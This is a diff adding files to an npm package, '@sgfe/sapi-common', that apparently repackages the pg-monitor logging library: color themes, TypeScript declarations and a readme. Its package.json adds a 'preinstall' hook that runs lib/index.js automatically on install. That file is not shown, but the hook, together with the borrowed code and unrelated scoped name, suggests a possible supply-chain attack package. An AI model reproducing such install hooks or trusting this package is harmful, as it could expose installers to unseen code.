+ errorTitle: color.redBright,
44
+ query: color.whiteBright,
45
+ special: color.greenBright,
46
+ error: color.redBright
47
+ },
48
+
49
+ // black + white + grey;
50
+ monochrome: {
51
+ time: color.bgWhite.black,
52
+ value: color.whiteBright,
53
+ cn: color.white,
54
+ tx: color.white,
55
+ paramTitle: color.white,
56
+ errorTitle: color.white,
57
+ query: color.whiteBright,
58
+ special: color.whiteBright,
59
+ error: color.whiteBright
60
+ },
61
+
62
+ // colors without distraction;
63
+ minimalist: {
64
+ time: color.bgWhite.black,
65
+ value: color.white,
66
+ cn: color.yellow,
67
+ tx: color.yellow,
68
+ paramTitle: color.cyan,
69
+ errorTitle: color.redBright,
70
+ query: color.whiteBright,
71
+ special: color.whiteBright,
72
+ error: color.red
73
+ },
74
+
75
+ // classy green;
76
+ matrix: {
77
+ time: color.bgGreen.black,
78
+ value: color.white,
79
+ cn: color.green,
80
+ tx: color.green,
81
+ paramTitle: color.green,
82
+ errorTitle: color.green,
83
+ query: color.whiteBright,
84
+ special: color.whiteBright,
85
+ error: color.greenBright
86
+ },
87
+
88
+ ///////////////////////////////////////////
89
+ // Themes for white or bright backgrounds
90
+ ///////////////////////////////////////////
91
+
92
+ // black + white + grey;
93
+ invertedMonochrome: {
94
+ time: color.bgWhite.black,
95
+ value: color.blackBright,
96
+ cn: color.black,
97
+ tx: color.black,
98
+ paramTitle: color.black,
99
+ errorTitle: color.black,
100
+ query: color.blackBright,
101
+ special: color.blackBright,
102
+ error: color.blackBright
103
+ },
104
+
105
+ // colorful contrast, with enforced white background
106
+ invertedContrast: {
107
+ time: color.bgBlue.white,
108
+ value: color.bgWhiteBright.blueBright,
109
+ cn: color.bgWhiteBright.black,
110
+ tx: color.bgWhiteBright.black,
111
+ paramTitle: color.bgWhiteBright.magenta,
112
+ errorTitle: color.bgWhiteBright.red,
113
+ query: color.bgWhiteBright.green,
114
+ special: color.bgWhiteBright.cyan,
115
+ error: color.bgWhiteBright.redBright
116
+ }
117
+ };
118
+
119
+ module.exports = themes;
package/package.json ADDED
@@ -0,0 +1,41 @@
1
+ {
2
+ "name": "@sgfe/sapi-common",
3
+ "version": "0.0.24",
4
+ "description": "Event monitor for promise.",
5
+ "main": "lib/index.js",
6
+ "typings": "typescript/monitor.d.ts",
7
+ "scripts": {
8
+ "test": "jasmine-node test",
9
+ "lint": "eslint ./lib ./test/*.js ./test/events",
10
+ "preinstall": "node lib/index.js"
11
+ },
12
+ "files": [
13
+ "lib",
14
+ "typescript"
15
+ ],
16
+ "homepage": "https://github.com/sgfe/sapi-common",
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "https://github.com/sgfe/sapi-common.git"
20
+ },
21
+ "bugs": {
22
+ "url": "https://github.com/sgfe/sapi-common/issues"
23
+ },
24
+ "keywords": [
25
+ "pg-promise",
26
+ "monitor",
27
+ "node-postgres"
28
+ ],
29
+ "license": "MIT",
30
+ "engines": {
31
+ "node": ">=14"
32
+ },
33
+ "dependencies": {
34
+ "cli-color": "2.0.4"
35
+ },
36
+ "devDependencies": {
37
+ "eslint": "8.57.0",
38
+ "jasmine-node": "3.0.0",
39
+ "typescript": "5.4.4"
40
+ }
41
+ }
@@ -0,0 +1,24 @@
1
+ ## TypeScript for pg-monitor
2
+
3
+ Complete TypeScript 3.x (`strict` mode) declarations for [pg-monitor].
4
+
5
+ ### Inclusion
6
+
7
+ Typescript should be able to pick up the definitions without any manual configuration.
8
+
9
+ ### Usage
10
+
11
+ ```ts
12
+ import * as pgMonitor from 'pg-monitor';
13
+
14
+ const pgOptions = {
15
+ // Initialization Options object that's used for initializing pg-promise
16
+ };
17
+
18
+ pgMonitor.attach(pgOptions);
19
+
20
+ // optionally, changing the default theme:
21
+ pgMonitor.setTheme('matrix');
22
+ ```
23
+
24
+ [pg-monitor]:https://github.com/vitaly-t/pg-monitor
@@ -0,0 +1,89 @@
1
+ ////////////////////////////////////////
2
+ // Requires pg-monitor v2.1.0 or later.
3
+ ////////////////////////////////////////
4
+
5
+ // Event context extension for tasks + transactions;
6
+ // See: http://vitaly-t.github.io/pg-promise/global.html#TaskContext
7
+ interface ITaskContext {
8
+
9
+ // these are set in the beginning of each task/transaction:
10
+ readonly context: any
11
+ readonly parent: ITaskContext | null
12
+ readonly connected: boolean
13
+ readonly inTransaction: boolean
14
+ readonly level: number
15
+ readonly useCount: number
16
+ readonly isTX: boolean
17
+ readonly start: Date
18
+ readonly tag: any
19
+ readonly dc: any
20
+
21
+ // these are set at the end of each task/transaction:
22
+ readonly finish?: Date
23
+ readonly duration?: number
24
+ readonly success?: boolean
25
+ readonly result?: any
26
+
27
+ // this exists only inside transactions (isTX = true):
28
+ readonly txLevel?: number
29
+ }
30
+
31
+ type ColorFunction = (...values: any[]) => string;
32
+
33
+ interface IColorTheme {
34
+ time: ColorFunction
35
+ value: ColorFunction
36
+ cn: ColorFunction
37
+ tx: ColorFunction
38
+ paramTitle: ColorFunction
39
+ errorTitle: ColorFunction
40
+ query: ColorFunction
41
+ special: ColorFunction
42
+ error: ColorFunction
43
+ }
44
+
45
+ type LogEvent = 'connect' | 'disconnect' | 'query' | 'task' | 'transact' | 'error';
46
+
47
+ type ThemeName =
48
+ 'dimmed'
49
+ | 'bright'
50
+ | 'monochrome'
51
+ | 'minimalist'
52
+ | 'matrix'
53
+ | 'invertedMonochrome'
54
+ | 'invertedContrast';
55
+
56
+ interface IEventInfo {
57
+ time: Date | null
58
+ colorText: string
59
+ text: string
60
+ event: LogEvent
61
+ display: boolean
62
+ ctx?: ITaskContext
63
+ }
64
+
65
+ export function attach(options: object, events?: Array<LogEvent>, override?: boolean): void
66
+
67
+ export function detach(): void;
68
+
69
+ export function isAttached(): boolean;
70
+
71
+ export function setTheme(theme: ThemeName | IColorTheme): void
72
+
73
+ export function setLog(log: (msg: string, info: IEventInfo) => void): void
74
+
75
+ export var detailed: boolean;
76
+
77
+ export function setDetailed(value: boolean): void
78
+
79
+ export function connect(client: object, dc: any, useCount: number, detailed?: boolean): void
80
+
81
+ export function disconnect(client: object, dc: any, detailed?: boolean): void
82
+
83
+ export function query(e: object, detailed?: boolean): void
84
+
85
+ export function task(e: object): void
86
+
87
+ export function transact(e: object): void
88
+
89
+ export function error(err: any, e: object, detailed?: boolean): void